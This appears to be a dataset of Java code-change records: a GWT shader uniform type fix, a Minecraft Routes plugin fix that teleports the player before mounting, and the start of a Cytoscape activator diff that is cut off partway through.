ShaderNormalMap extends Shader { interface Resources extends DefaultResources { Resources INSTANCE = GWT.create(Resources.class); @Source("chunk/normalmap_vs.chunk") TextResource getVertexShader(); @Source("chunk/normalmap_fs.chunk") TextResource getFragmentShader(); } public ShaderNormalMap() { super(Resources.INSTANCE); } @Override protected void initUniforms() { this.addUniform(UniformsLib.fog); this.addUniform(UniformsLib.lights); this.addUniform(UniformsLib.shadowmap); this.addUniform("enableAO", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableDiffuse", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableSpecular", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableReflection", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("tDiffuse", new Uniform(Uniform.TYPE.T, 0 )); this.addUniform("tCube", new Uniform(Uniform.TYPE.T, 1 )); this.addUniform("tNormal", new Uniform(Uniform.TYPE.T, 2 )); this.addUniform("tSpecular", new Uniform(Uniform.TYPE.T, 3 )); this.addUniform("tAO", new Uniform(Uniform.TYPE.T, 4 )); this.addUniform("tDisplacement", new Uniform(Uniform.TYPE.T, 5 )); this.addUniform("uNormalScale", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uDisplacementBias", new Uniform(Uniform.TYPE.F, 0.0f )); this.addUniform("uDisplacementScale", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uDiffuseColor", new Uniform(Uniform.TYPE.C, new Color3f( 0xffffff ) )); this.addUniform("uSpecularColor", new Uniform(Uniform.TYPE.C, new Color3f( 0x111111 ) )); this.addUniform("uAmbientColor", new Uniform(Uniform.TYPE.C, new Color3f( 0xffffff ) )); this.addUniform("uShininess", new Uniform(Uniform.TYPE.F, 30f )); this.addUniform("uOpacity", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uReflectivity", new Uniform(Uniform.TYPE.F, 0.5f )); this.addUniform("uOffset", new Uniform(Uniform.TYPE.V2, new Vector2f( 0.0f, 0.0f ) )); - this.addUniform("uRepeat", new Uniform(Uniform.TYPE.V3, new Vector2f( 1.0f, 1.0f ) )); + this.addUniform("uRepeat", new Uniform(Uniform.TYPE.V2, new Vector2f( 1.0f, 1.0f ) )); this.addUniform("wrapRGB", new Uniform(Uniform.TYPE.V3, new Vector3f( 1.0f, 1.0f, 1.0f ) )); } @Override protected void setVertexSource(String src) { List<String> vars = Arrays.asList( ChunksVertexShader.SHADOWMAP_PARS ); List<String> main = Arrays.asList( ChunksVertexShader.SHADOWMAP ); super.setVertexSource(Shader.updateShaderSource(src, vars, main)); } @Override protected void setFragmentSource(String src) { List<String> vars = Arrays.asList( ChunksFragmentShader.SHADOWMAP_PARS, ChunksFragmentShader.FOG_PARS ); List<String> main = Arrays.asList( ChunksFragmentShader.SHADOWMAP, ChunksFragmentShader.LENEAR_TO_GAMMA, ChunksFragmentShader.FOG ); super.setFragmentSource(Shader.updateShaderSource(src, vars, main)); } }
true
true
protected void initUniforms() { this.addUniform(UniformsLib.fog); this.addUniform(UniformsLib.lights); this.addUniform(UniformsLib.shadowmap); this.addUniform("enableAO", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableDiffuse", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableSpecular", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableReflection", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("tDiffuse", new Uniform(Uniform.TYPE.T, 0 )); this.addUniform("tCube", new Uniform(Uniform.TYPE.T, 1 )); this.addUniform("tNormal", new Uniform(Uniform.TYPE.T, 2 )); this.addUniform("tSpecular", new Uniform(Uniform.TYPE.T, 3 )); this.addUniform("tAO", new Uniform(Uniform.TYPE.T, 4 )); this.addUniform("tDisplacement", new Uniform(Uniform.TYPE.T, 5 )); this.addUniform("uNormalScale", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uDisplacementBias", new Uniform(Uniform.TYPE.F, 0.0f )); this.addUniform("uDisplacementScale", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uDiffuseColor", new Uniform(Uniform.TYPE.C, new Color3f( 0xffffff ) )); this.addUniform("uSpecularColor", new Uniform(Uniform.TYPE.C, new Color3f( 0x111111 ) )); this.addUniform("uAmbientColor", new Uniform(Uniform.TYPE.C, new Color3f( 0xffffff ) )); this.addUniform("uShininess", new Uniform(Uniform.TYPE.F, 30f )); this.addUniform("uOpacity", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uReflectivity", new Uniform(Uniform.TYPE.F, 0.5f )); this.addUniform("uOffset", new Uniform(Uniform.TYPE.V2, new Vector2f( 0.0f, 0.0f ) )); this.addUniform("uRepeat", new Uniform(Uniform.TYPE.V3, new Vector2f( 1.0f, 1.0f ) )); this.addUniform("wrapRGB", new Uniform(Uniform.TYPE.V3, new Vector3f( 1.0f, 1.0f, 1.0f ) )); }
protected void initUniforms() { this.addUniform(UniformsLib.fog); this.addUniform(UniformsLib.lights); this.addUniform(UniformsLib.shadowmap); this.addUniform("enableAO", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableDiffuse", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableSpecular", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("enableReflection", new Uniform(Uniform.TYPE.I, 0 )); this.addUniform("tDiffuse", new Uniform(Uniform.TYPE.T, 0 )); this.addUniform("tCube", new Uniform(Uniform.TYPE.T, 1 )); this.addUniform("tNormal", new Uniform(Uniform.TYPE.T, 2 )); this.addUniform("tSpecular", new Uniform(Uniform.TYPE.T, 3 )); this.addUniform("tAO", new Uniform(Uniform.TYPE.T, 4 )); this.addUniform("tDisplacement", new Uniform(Uniform.TYPE.T, 5 )); this.addUniform("uNormalScale", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uDisplacementBias", new Uniform(Uniform.TYPE.F, 0.0f )); this.addUniform("uDisplacementScale", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uDiffuseColor", new Uniform(Uniform.TYPE.C, new Color3f( 0xffffff ) )); this.addUniform("uSpecularColor", new Uniform(Uniform.TYPE.C, new Color3f( 0x111111 ) )); this.addUniform("uAmbientColor", new Uniform(Uniform.TYPE.C, new Color3f( 0xffffff ) )); this.addUniform("uShininess", new Uniform(Uniform.TYPE.F, 30f )); this.addUniform("uOpacity", new Uniform(Uniform.TYPE.F, 1.0f )); this.addUniform("uReflectivity", new Uniform(Uniform.TYPE.F, 0.5f )); this.addUniform("uOffset", new Uniform(Uniform.TYPE.V2, new Vector2f( 0.0f, 0.0f ) )); this.addUniform("uRepeat", new Uniform(Uniform.TYPE.V2, new Vector2f( 1.0f, 1.0f ) )); this.addUniform("wrapRGB", new Uniform(Uniform.TYPE.V3, new Vector3f( 1.0f, 1.0f, 1.0f ) )); }
diff --git a/src/main/java/eu/tomylobo/routes/travel/TravelAgency.java b/src/main/java/eu/tomylobo/routes/travel/TravelAgency.java index 1585989..1d746c6 100644 --- a/src/main/java/eu/tomylobo/routes/travel/TravelAgency.java +++ b/src/main/java/eu/tomylobo/routes/travel/TravelAgency.java @@ -1,138 +1,139 @@ /* * Copyright (C) 2012 TomyLobo * * This file is part of Routes. * * Routes is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package eu.tomylobo.routes.travel; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import eu.tomylobo.abstraction.entity.Entity; import eu.tomylobo.abstraction.entity.EntityType; import eu.tomylobo.abstraction.entity.MobType; import eu.tomylobo.abstraction.entity.Player; import eu.tomylobo.abstraction.entity.VehicleType; import eu.tomylobo.math.Location; import eu.tomylobo.routes.Routes; import eu.tomylobo.routes.commands.system.CommandException; import eu.tomylobo.routes.fakeentity.FakeEntity; import eu.tomylobo.routes.fakeentity.FakeMob; import eu.tomylobo.routes.fakeentity.FakeVehicle; import eu.tomylobo.routes.infrastructure.Route; import eu.tomylobo.routes.util.ScheduledTask; /** * The TravelAgency manages all current {@link Traveller}s and will invoke * their {@link Traveller#tick() tick()} method each tick. * * @author TomyLobo * */ public class TravelAgency extends ScheduledTask { private final Routes plugin; private final Map<Entity, Traveller> travellers = new HashMap<Entity, Traveller>(); public TravelAgency(Routes plugin) { super(plugin); this.plugin = plugin; scheduleSyncRepeating(0, 1); } public void addTravellerWithMount(String routeName, final Player player, EntityType entityType, String command) throws CommandException { final Route route = plugin.transportSystem.getRoute(routeName); if (route == null) throw new CommandException("Route '"+routeName+"' not found."); route.checkPermission(player, command); final boolean oldAllowFlight = player.getAllowFlight(); player.setAllowFlight(true); Location location = route.getLocation(0); final FakeEntity mount; if (entityType instanceof MobType) { mount = new FakeMob(location, (MobType) entityType); } else { mount = new FakeVehicle(location, (VehicleType) entityType); } mount.send(); + player.teleport(location.add(0, mount.getMountedYOffset(), 0)); mount.setPassenger(player); addTraveller(route, mount, 5.0, new Runnable() { @Override public void run() { mount.remove(); player.setAllowFlight(oldAllowFlight); } }); } /** * * @param routeName The name of the route to travel on * @param entity An entity to move along the route * @param speed Speed in m/s * @param finalizer A Runnable to invoke after the route was finished * @throws CommandException Thrown if no route can be found. */ public void addTraveller(String routeName, Entity entity, double speed, Runnable finalizer) throws CommandException { final Route route = plugin.transportSystem.getRoute(routeName); if (route == null) throw new CommandException("Route '"+routeName+"' not found."); addTraveller(route, entity, speed, finalizer); } /** * * @param route The route to travel on * @param entity An entity to move along the route * @param speed Speed in m/s * @param finalizer A Runnable to invoke after the route was finished */ public void addTraveller(Route route, Entity entity, double speed, Runnable finalizer) { addTraveller(new Traveller(route, entity, speed, finalizer)); } public void addTraveller(Traveller traveller) { travellers.put(traveller.getEntity(), traveller); } @Override public void run() { for (Iterator<Traveller> it = travellers.values().iterator(); it.hasNext(); ) { Traveller traveller = it.next(); try { if (!traveller.tick()) it.remove(); } catch (Exception e) { System.err.println("Caught exception in traveller tick, will run finalizer now."); e.printStackTrace(); traveller.runFinalizer(); it.remove(); } } } }
true
true
public void addTravellerWithMount(String routeName, final Player player, EntityType entityType, String command) throws CommandException { final Route route = plugin.transportSystem.getRoute(routeName); if (route == null) throw new CommandException("Route '"+routeName+"' not found."); route.checkPermission(player, command); final boolean oldAllowFlight = player.getAllowFlight(); player.setAllowFlight(true); Location location = route.getLocation(0); final FakeEntity mount; if (entityType instanceof MobType) { mount = new FakeMob(location, (MobType) entityType); } else { mount = new FakeVehicle(location, (VehicleType) entityType); } mount.send(); mount.setPassenger(player); addTraveller(route, mount, 5.0, new Runnable() { @Override public void run() { mount.remove(); player.setAllowFlight(oldAllowFlight); } }); }
public void addTravellerWithMount(String routeName, final Player player, EntityType entityType, String command) throws CommandException { final Route route = plugin.transportSystem.getRoute(routeName); if (route == null) throw new CommandException("Route '"+routeName+"' not found."); route.checkPermission(player, command); final boolean oldAllowFlight = player.getAllowFlight(); player.setAllowFlight(true); Location location = route.getLocation(0); final FakeEntity mount; if (entityType instanceof MobType) { mount = new FakeMob(location, (MobType) entityType); } else { mount = new FakeVehicle(location, (VehicleType) entityType); } mount.send(); player.teleport(location.add(0, mount.getMountedYOffset(), 0)); mount.setPassenger(player); addTraveller(route, mount, 5.0, new Runnable() { @Override public void run() { mount.remove(); player.setAllowFlight(oldAllowFlight); } }); }
diff --git a/core-task-impl/src/main/java/org/cytoscape/task/internal/CyActivator.java b/core-task-impl/src/main/java/org/cytoscape/task/internal/CyActivator.java index cb2e5b5a2..8b21de24e 100644 --- a/core-task-impl/src/main/java/org/cytoscape/task/internal/CyActivator.java +++ b/core-task-impl/src/main/java/org/cytoscape/task/internal/CyActivator.java @@ -1,723 +1,723 @@ package org.cytoscape.task.internal; import org.cytoscape.session.CySessionManager; import org.cytoscape.io.util.StreamUtil; import org.cytoscape.application.CyApplicationConfiguration; import org.cytoscape.model.subnetwork.CyRootNetworkManager; import org.cytoscape.model.CyEdge; import org.cytoscape.model.CyNetworkFactory; import org.cytoscape.io.read.CyTableReaderManager; import org.cytoscape.model.CyNetworkManager; import org.cytoscape.util.swing.OpenBrowser; import org.cytoscape.view.layout.CyLayoutAlgorithmManager; import org.cytoscape.event.CyEventHelper; import org.cytoscape.io.write.PresentationWriterManager; import org.cytoscape.view.presentation.RenderingEngineManager; import org.cytoscape.view.vizmap.VisualStyleFactory; import org.cytoscape.io.read.CySessionReaderManager; import org.cytoscape.io.read.VizmapReaderManager; import org.cytoscape.work.TaskManager; import org.cytoscape.work.SynchronousTaskManager; import org.cytoscape.property.CyProperty; import org.cytoscape.session.CyNetworkNaming; import org.cytoscape.io.write.CySessionWriterManager; import org.cytoscape.io.write.CyNetworkViewWriterManager; import org.cytoscape.model.CyTableManager; import org.cytoscape.io.write.CyTableWriterManager; import org.cytoscape.view.model.CyNetworkViewFactory; import org.cytoscape.view.vizmap.VisualMappingManager; import org.cytoscape.view.model.CyNetworkViewManager; import org.cytoscape.work.undo.UndoSupport; import org.cytoscape.application.CyApplicationManager; import org.cytoscape.io.write.VizmapWriterManager; import org.cytoscape.io.read.CyNetworkReaderManager; import org.cytoscape.io.util.RecentlyOpenedTracker; import org.cytoscape.task.creation.LoadVisualStyles; import org.cytoscape.task.internal.export.vizmap.ExportVizmapTaskFactory; import org.cytoscape.task.internal.table.DeleteColumnTaskFactory; import org.cytoscape.task.internal.loaddatatable.LoadAttributesURLTaskFactoryImpl; import org.cytoscape.task.internal.edit.ConnectSelectedNodesTaskFactory; import org.cytoscape.task.internal.hide.HideSelectedEdgesTaskFactory; import org.cytoscape.task.internal.title.EditNetworkTitleTaskFactory; import org.cytoscape.task.internal.hide.UnHideAllEdgesTaskFactory; import org.cytoscape.task.internal.session.SaveSessionAsTaskFactory; import org.cytoscape.task.internal.creation.NewNetworkSelectedNodesOnlyTaskFactory; import org.cytoscape.task.internal.quickstart.WelcomeScreenTaskFactory; import org.cytoscape.task.internal.export.table.ExportNodeTableTaskFactory; import org.cytoscape.task.internal.quickstart.ImportTaskUtil; import org.cytoscape.task.internal.select.InvertSelectedEdgesTaskFactory; import org.cytoscape.task.internal.select.DeselectAllNodesTaskFactory; import org.cytoscape.task.internal.creation.CloneNetworkTaskFactory; import org.cytoscape.task.internal.proxysettings.ProxySettingsTaskFactory; import org.cytoscape.task.internal.select.DeselectAllTaskFactory; import org.cytoscape.task.internal.loadnetwork.LoadNetworkFileTaskFactoryImpl; import org.cytoscape.task.internal.select.SelectFirstNeighborsTaskFactory; import org.cytoscape.task.internal.zoom.FitSelectedTaskFactory; import org.cytoscape.task.internal.setcurrent.SetCurrentNetworkTaskFactoryImpl; import org.cytoscape.task.internal.quickstart.subnetworkbuilder.SubnetworkBuilderUtil; import org.cytoscape.task.internal.table.DeleteTableTaskFactory; import org.cytoscape.task.internal.destruction.DestroyNetworkViewTaskFactory; import org.cytoscape.task.internal.table.CopyValueToEntireColumnTaskFactory; import org.cytoscape.task.internal.creation.NewNetworkSelectedNodesEdgesTaskFactory; import org.cytoscape.task.internal.session.NewSessionTaskFactory; import org.cytoscape.task.internal.quickstart.QuickStartTaskFactory; import org.cytoscape.task.internal.session.SaveSessionTaskFactory; import org.cytoscape.task.internal.creation.NewEmptyNetworkTaskFactory; import org.cytoscape.task.internal.export.table.ExportEdgeTableTaskFactory; import org.cytoscape.task.internal.hide.HideSelectedNodesTaskFactory; import org.cytoscape.task.internal.destruction.DestroyNetworkTaskFactory; import org.cytoscape.task.internal.export.network.ExportNetworkViewTaskFactory; import org.cytoscape.task.internal.quickstart.datasource.BioGridPreprocessor; import org.cytoscape.task.internal.export.graphics.ExportNetworkImageTaskFactory; import org.cytoscape.task.internal.select.SelectAllTaskFactory; import org.cytoscape.task.internal.zoom.ZoomInTaskFactory; import org.cytoscape.task.internal.creation.CreateNetworkViewTaskFactory; import org.cytoscape.task.internal.zoom.FitContentTaskFactory; import org.cytoscape.task.internal.select.DeselectAllEdgesTaskFactory; import org.cytoscape.task.internal.zoom.ZoomOutTaskFactory; import org.cytoscape.task.internal.hide.UnHideAllNodesTaskFactory; import org.cytoscape.task.internal.layout.ApplyPreferredLayoutTaskFactory; import org.cytoscape.task.internal.select.SelectConnectedNodesTaskFactory; import org.cytoscape.task.internal.table.RenameColumnTaskFactory; import org.cytoscape.task.internal.welcome.LoadMitabFileTaskFactory; import org.cytoscape.task.internal.welcome.OpenSpecifiedSessionTaskFactory; import org.cytoscape.task.internal.welcome.ShowWelcomeScreenTask; import org.cytoscape.task.internal.loaddatatable.LoadAttributesFileTaskFactoryImpl; import org.cytoscape.task.internal.select.InvertSelectedNodesTaskFactory; import org.cytoscape.task.internal.loadvizmap.LoadVizmapFileTaskFactoryImpl; import org.cytoscape.task.internal.export.table.ExportCurrentTableTaskFactory; import org.cytoscape.task.internal.select.SelectFromFileListTaskFactory; import org.cytoscape.task.internal.networkobjects.DeleteSelectedNodesAndEdgesTaskFactory; import org.cytoscape.task.internal.hide.UnHideAllTaskFactory; import org.cytoscape.task.internal.session.OpenSessionTaskFactory; import org.cytoscape.task.internal.select.SelectAllNodesTaskFactory; import org.cytoscape.task.internal.hide.HideSelectedTaskFactory; import org.cytoscape.task.internal.select.SelectAdjacentEdgesTaskFactory; import org.cytoscape.task.internal.loadnetwork.LoadNetworkURLTaskFactoryImpl; import org.cytoscape.task.internal.select.SelectFirstNeighborsNodeViewTaskFactory; import org.cytoscape.task.internal.select.SelectAllEdgesTaskFactory; import org.cytoscape.task.NetworkViewCollectionTaskFactory; import org.cytoscape.task.NodeViewTaskFactory; import org.cytoscape.task.NetworkTaskFactory; import org.cytoscape.task.NetworkViewTaskFactory; import org.cytoscape.task.TableTaskFactory; import org.cytoscape.task.TableCellTaskFactory; import org.cytoscape.task.NetworkCollectionTaskFactory; import org.cytoscape.work.TaskFactory; import org.cytoscape.task.TableColumnTaskFactory; import org.cytoscape.task.creation.NewEmptyNetworkViewFactory; import org.cytoscape.view.vizmap.VisualMappingFunctionFactory; import org.cytoscape.task.internal.quickstart.datasource.InteractionFilePreprocessor; import org.osgi.framework.BundleContext; import org.cytoscape.service.util.AbstractCyActivator; import java.util.Properties; public class CyActivator extends AbstractCyActivator { public CyActivator() { super(); } public void start(BundleContext bc) { OpenBrowser openBrowserServiceRef = getService(bc,OpenBrowser.class); CyEventHelper cyEventHelperRef = getService(bc,CyEventHelper.class); CyApplicationConfiguration cyApplicationConfigurationServiceRef = getService(bc,CyApplicationConfiguration.class); RecentlyOpenedTracker recentlyOpenedTrackerServiceRef = getService(bc,RecentlyOpenedTracker.class); CyNetworkNaming cyNetworkNamingServiceRef = getService(bc,CyNetworkNaming.class); UndoSupport undoSupportServiceRef = getService(bc,UndoSupport.class); CyNetworkViewFactory cyNetworkViewFactoryServiceRef = getService(bc,CyNetworkViewFactory.class); CyNetworkFactory cyNetworkFactoryServiceRef = getService(bc,CyNetworkFactory.class); CyRootNetworkManager cyRootNetworkFactoryServiceRef = getService(bc,CyRootNetworkManager.class); CyNetworkReaderManager cyNetworkReaderManagerServiceRef = getService(bc,CyNetworkReaderManager.class); CyTableReaderManager cyDataTableReaderManagerServiceRef = getService(bc,CyTableReaderManager.class); VizmapReaderManager vizmapReaderManagerServiceRef = getService(bc,VizmapReaderManager.class); VisualMappingManager visualMappingManagerServiceRef = getService(bc,VisualMappingManager.class); VisualStyleFactory visualStyleFactoryServiceRef = getService(bc,VisualStyleFactory.class); StreamUtil streamUtilRef = getService(bc,StreamUtil.class); TaskManager taskManagerServiceRef = getService(bc,TaskManager.class); PresentationWriterManager viewWriterManagerServiceRef = getService(bc,PresentationWriterManager.class); CyNetworkViewWriterManager networkViewWriterManagerServiceRef = getService(bc,CyNetworkViewWriterManager.class); VizmapWriterManager vizmapWriterManagerServiceRef = getService(bc,VizmapWriterManager.class); CySessionWriterManager sessionWriterManagerServiceRef = getService(bc,CySessionWriterManager.class); CySessionReaderManager sessionReaderManagerServiceRef = getService(bc,CySessionReaderManager.class); CyNetworkManager cyNetworkManagerServiceRef = getService(bc,CyNetworkManager.class); CyNetworkViewManager cyNetworkViewManagerServiceRef = getService(bc,CyNetworkViewManager.class); CyApplicationManager cyApplicationManagerServiceRef = getService(bc,CyApplicationManager.class); CySessionManager cySessionManagerServiceRef = getService(bc,CySessionManager.class); CyProperty cyPropertyServiceRef = getService(bc,CyProperty.class,"(cyPropertyName=cytoscape3.props)"); CyTableManager cyTableManagerServiceRef = getService(bc,CyTableManager.class); RenderingEngineManager renderingEngineManagerServiceRef = getService(bc,RenderingEngineManager.class); CyLayoutAlgorithmManager cyLayoutsServiceRef = getService(bc,CyLayoutAlgorithmManager.class); CyTableWriterManager cyTableWriterManagerRef = getService(bc,CyTableWriterManager.class); SynchronousTaskManager synchronousTaskManagerServiceRef = getService(bc,SynchronousTaskManager.class); LoadAttributesFileTaskFactoryImpl loadAttrsFileTaskFactory = new LoadAttributesFileTaskFactoryImpl(cyDataTableReaderManagerServiceRef,cyTableManagerServiceRef); LoadAttributesURLTaskFactoryImpl loadAttrsURLTaskFactory = new LoadAttributesURLTaskFactoryImpl(cyDataTableReaderManagerServiceRef,cyTableManagerServiceRef); LoadVizmapFileTaskFactoryImpl loadVizmapFileTaskFactory = new LoadVizmapFileTaskFactoryImpl(vizmapReaderManagerServiceRef,visualMappingManagerServiceRef,synchronousTaskManagerServiceRef); LoadNetworkFileTaskFactoryImpl loadNetworkFileTaskFactory = new LoadNetworkFileTaskFactoryImpl(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef); LoadNetworkURLTaskFactoryImpl loadNetworkURLTaskFactory = new LoadNetworkURLTaskFactoryImpl(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef); SetCurrentNetworkTaskFactoryImpl setCurrentNetworkTaskFactory = new SetCurrentNetworkTaskFactoryImpl(cyApplicationManagerServiceRef,cyNetworkManagerServiceRef); DeleteSelectedNodesAndEdgesTaskFactory deleteSelectedNodesAndEdgesTaskFactory = new DeleteSelectedNodesAndEdgesTaskFactory(undoSupportServiceRef,cyApplicationManagerServiceRef,cyNetworkViewManagerServiceRef,visualMappingManagerServiceRef,cyEventHelperRef); SelectAllTaskFactory selectAllTaskFactory = new SelectAllTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAllEdgesTaskFactory selectAllEdgesTaskFactory = new SelectAllEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAllNodesTaskFactory selectAllNodesTaskFactory = new SelectAllNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectAdjacentEdgesTaskFactory selectAdjacentEdgesTaskFactory = new SelectAdjacentEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectConnectedNodesTaskFactory selectConnectedNodesTaskFactory = new SelectConnectedNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactory = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.ANY); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactoryInEdge = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.INCOMING); SelectFirstNeighborsTaskFactory selectFirstNeighborsTaskFactoryOutEdge = new SelectFirstNeighborsTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef, CyEdge.Type.OUTGOING); DeselectAllTaskFactory deselectAllTaskFactory = new DeselectAllTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); DeselectAllEdgesTaskFactory deselectAllEdgesTaskFactory = new DeselectAllEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); DeselectAllNodesTaskFactory deselectAllNodesTaskFactory = new DeselectAllNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); InvertSelectedEdgesTaskFactory invertSelectedEdgesTaskFactory = new InvertSelectedEdgesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); InvertSelectedNodesTaskFactory invertSelectedNodesTaskFactory = new InvertSelectedNodesTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFromFileListTaskFactory selectFromFileListTaskFactory = new SelectFromFileListTaskFactory(undoSupportServiceRef,cyNetworkViewManagerServiceRef,cyEventHelperRef); SelectFirstNeighborsNodeViewTaskFactory selectFirstNeighborsNodeViewTaskFactory = new SelectFirstNeighborsNodeViewTaskFactory(CyEdge.Type.ANY); HideSelectedTaskFactory hideSelectedTaskFactory = new HideSelectedTaskFactory(undoSupportServiceRef,cyEventHelperRef); HideSelectedNodesTaskFactory hideSelectedNodesTaskFactory = new HideSelectedNodesTaskFactory(undoSupportServiceRef,cyEventHelperRef); HideSelectedEdgesTaskFactory hideSelectedEdgesTaskFactory = new HideSelectedEdgesTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllTaskFactory unHideAllTaskFactory = new UnHideAllTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllNodesTaskFactory unHideAllNodesTaskFactory = new UnHideAllNodesTaskFactory(undoSupportServiceRef,cyEventHelperRef); UnHideAllEdgesTaskFactory unHideAllEdgesTaskFactory = new UnHideAllEdgesTaskFactory(undoSupportServiceRef,cyEventHelperRef); NewEmptyNetworkTaskFactory newEmptyNetworkTaskFactory = new NewEmptyNetworkTaskFactory(cyNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,synchronousTaskManagerServiceRef); CloneNetworkTaskFactory cloneNetworkTaskFactory = new CloneNetworkTaskFactory(cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,visualMappingManagerServiceRef,cyNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkNamingServiceRef,cyEventHelperRef); NewNetworkSelectedNodesEdgesTaskFactory newNetworkSelectedNodesEdgesTaskFactory = new NewNetworkSelectedNodesEdgesTaskFactory(undoSupportServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,visualMappingManagerServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); NewNetworkSelectedNodesOnlyTaskFactory newNetworkSelectedNodesOnlyTaskFactory = new NewNetworkSelectedNodesOnlyTaskFactory(undoSupportServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyNetworkNamingServiceRef,visualMappingManagerServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); DestroyNetworkTaskFactory destroyNetworkTaskFactory = new DestroyNetworkTaskFactory(cyNetworkManagerServiceRef); DestroyNetworkViewTaskFactory destroyNetworkViewTaskFactory = new DestroyNetworkViewTaskFactory(cyNetworkViewManagerServiceRef); ZoomInTaskFactory zoomInTaskFactory = new ZoomInTaskFactory(undoSupportServiceRef); ZoomOutTaskFactory zoomOutTaskFactory = new ZoomOutTaskFactory(undoSupportServiceRef); FitSelectedTaskFactory fitSelectedTaskFactory = new FitSelectedTaskFactory(undoSupportServiceRef); FitContentTaskFactory fitContentTaskFactory = new FitContentTaskFactory(undoSupportServiceRef); NewSessionTaskFactory newSessionTaskFactory = new NewSessionTaskFactory(cySessionManagerServiceRef); OpenSessionTaskFactory openSessionTaskFactory = new OpenSessionTaskFactory(cySessionManagerServiceRef,sessionReaderManagerServiceRef,cyApplicationManagerServiceRef,recentlyOpenedTrackerServiceRef); SaveSessionTaskFactory saveSessionTaskFactory = new SaveSessionTaskFactory( sessionWriterManagerServiceRef, cySessionManagerServiceRef); SaveSessionAsTaskFactory saveSessionAsTaskFactory = new SaveSessionAsTaskFactory( sessionWriterManagerServiceRef, cySessionManagerServiceRef); ProxySettingsTaskFactory proxySettingsTaskFactory = new ProxySettingsTaskFactory(streamUtilRef); EditNetworkTitleTaskFactory editNetworkTitleTaskFactory = new EditNetworkTitleTaskFactory(undoSupportServiceRef); CreateNetworkViewTaskFactory createNetworkViewTaskFactory = new CreateNetworkViewTaskFactory(undoSupportServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkViewManagerServiceRef,cyLayoutsServiceRef,cyEventHelperRef); ExportNetworkImageTaskFactory exportNetworkImageTaskFactory = new ExportNetworkImageTaskFactory(viewWriterManagerServiceRef,cyApplicationManagerServiceRef); ExportNetworkViewTaskFactory exportNetworkViewTaskFactory = new ExportNetworkViewTaskFactory(networkViewWriterManagerServiceRef); ExportNodeTableTaskFactory exportNodeTableTaskFactory = new ExportNodeTableTaskFactory(cyTableWriterManagerRef); ExportEdgeTableTaskFactory exportEdgeTableTaskFactory = new ExportEdgeTableTaskFactory(cyTableWriterManagerRef); ExportCurrentTableTaskFactory exportCurrentTableTaskFactory = new ExportCurrentTableTaskFactory(cyTableWriterManagerRef); ApplyPreferredLayoutTaskFactory applyPreferredLayoutTaskFactory = new 